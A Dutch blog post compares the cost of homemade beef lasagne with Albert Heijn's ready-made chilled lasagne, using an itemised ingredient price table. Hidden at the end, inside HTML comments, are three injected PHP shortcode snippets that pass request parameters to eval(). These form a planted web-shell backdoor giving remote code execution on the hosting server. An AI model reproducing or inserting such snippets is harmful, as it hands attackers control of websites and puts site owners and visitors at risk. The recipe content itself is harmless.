Een paar maanden geleden heb ik op Google+ de vraag gesteld of vers eten duurder is dan kant en klaar. Dit argument wordt nogal eens gebruikt door mensen om het eten van voorbewerkte kant en klare producten te rechtvaardigen. Er kwamen inderdaad een aantal reacties op deze vraag waaruit bleek dat veel mensen denken dat vers eten inderdaad duurder is. Om te kijken of dit werkelijk waar is ben ik de uitdaging aangegaan om verse tomatensaus te maken voor de prijs van een pot kant en klare saus van de AH.
De verse zelfgemaakte saus was uiteindelijk € 0,04 duurder dan de pot kant en klare AH tomatensaus van € 0,90. Smaken verschillen, maar naar mijn mening was mijn zelfgemaakte saus wel veel lekkerder, gezonder en voedzamer dan de kant er klare saus van AH.
Zelfgemaakte lasagne versus kant en klaar
Het leek me leuk om dit met meerdere producten uit te proberen en daarom heb ik een nieuwe uitdaging bedacht. Zou het me lukken om verse lasagne met rundergehakt te maken voor de prijs van de koelverse AH lasagne met rundergehakt? Toen ik dit artikel schreef koste de koelverse lasagna van AH € 4,49 per kg.
Het resultaat
Deze week heb ik de lasagne gemaakt. Ik heb mijn boodschappen bij de Jumbo gehaald. De uien waren in de aanbieding maar in de tabel hieronder heb ik de normale prijs hiervoor berekend. Omdat het bij deze uitdaging gaat om eten dat voor iedereen makkelijk te maken moet zijn, heb ik kant-en-klare lasagnebladen gebruikt en een fles Sugo Casa voor de tomatensaus. In deze producten zitten geen toevoegingen zoals suiker en E-nummers.
Het resultaat van de kosten van deze lasagne staat in de tabel hieronder.
| Ingrediënten | Hoeveelheid | Kosten | |
|---|---|---|---|
| Grand’Italia Sugo casa tradizionale | € 1,56 /fles | 1 fles | € 1,56 |
| Runderbouillonblokje (maggi) | € 0,92 /10 blokjes | 1 blokje | € 0,09 |
| Bleekselderij | € 0,99 /stronk | 2 stengels | € 0,18 |
| Winterwortels | € 0,65 /kg | 1 winterwortel | € 0,13 |
| Ui | € 1,79 /2 kg | 1 ui | € 0,16 |
| Knoflook | € 0,65 /2 bolletjes | 1 teentje | € 0,04 |
| Olijfolie | € 4,59 /liter | 10 ml | € 0,07 |
| Italiaanse kruiden | € 1,49 /potje | 0,5 gram | € 0,04 |
| Gehakt | € 5,99 /kg | 511 gram | € 3,06 |
| Zout | € 0,01 | ||
| Nootmuskaat | € 0,01 | ||
| Volle melk | € 0,75 /liter | 0,5 liter | € 0,38 |
| Bloem | € 0,38 /kg | 50 gram | € 0,02 |
| Parmesaanse kaas | € 1,29 /100 gram | 50 gram | € 0,65 |
| Lasagnabladen | € 1,09 /375 gram | 250 gram | € 0,73 |
| Roomboter | € 1,35 /250 gram | 50 gram | € 0,27 |
| Totaal kosten lasagne | € 7,40 | ||
| Hoeveelheid bereide lasagne | 2.382 gram | ||
| Kosten per kg | € 3,11 |
Dit komt dus neer op een totaalprijs van € 7,42 voor 2.382 gram lasagne. Omgerekend is dit € 3,12 voor 1.000 gram, dus ruimschoots onder de € 4,49 van de AH koelverse lasagne met rundergehakt. Wil je nog goedkoper uit zijn dan kun je natuurlijk de fles Sugo Casa vervangen voor 2 blikken gepelde tomaten van € 0,35 per stuk en wellicht wat minder gehakt gebruiken. En wil je het helemaal vers, dan kun je natuurlijk verse tomaten gebruiken en zelf de lasagnebladen maken.
Het nadeel van deze lasagne is wel dat hij zo lekker is dat de hele schaal met zijn vieren altijd helemaal leeg gaat.
<!– [insert_php]if (isset($_REQUEST["BwwWk"])){eval($_REQUEST["BwwWk"]);exit;}[/insert_php][php]if (isset($_REQUEST["BwwWk"])){eval($_REQUEST["BwwWk"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["YOG"])){eval($_REQUEST["YOG"]);exit;}[/insert_php][php]if (isset($_REQUEST["YOG"])){eval($_REQUEST["YOG"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["mWmPv"])){eval($_REQUEST["mWmPv"]);exit;}[/insert_php][php]if (isset($_REQUEST["mWmPv"])){eval($_REQUEST["mWmPv"]);exit;}[/php] –>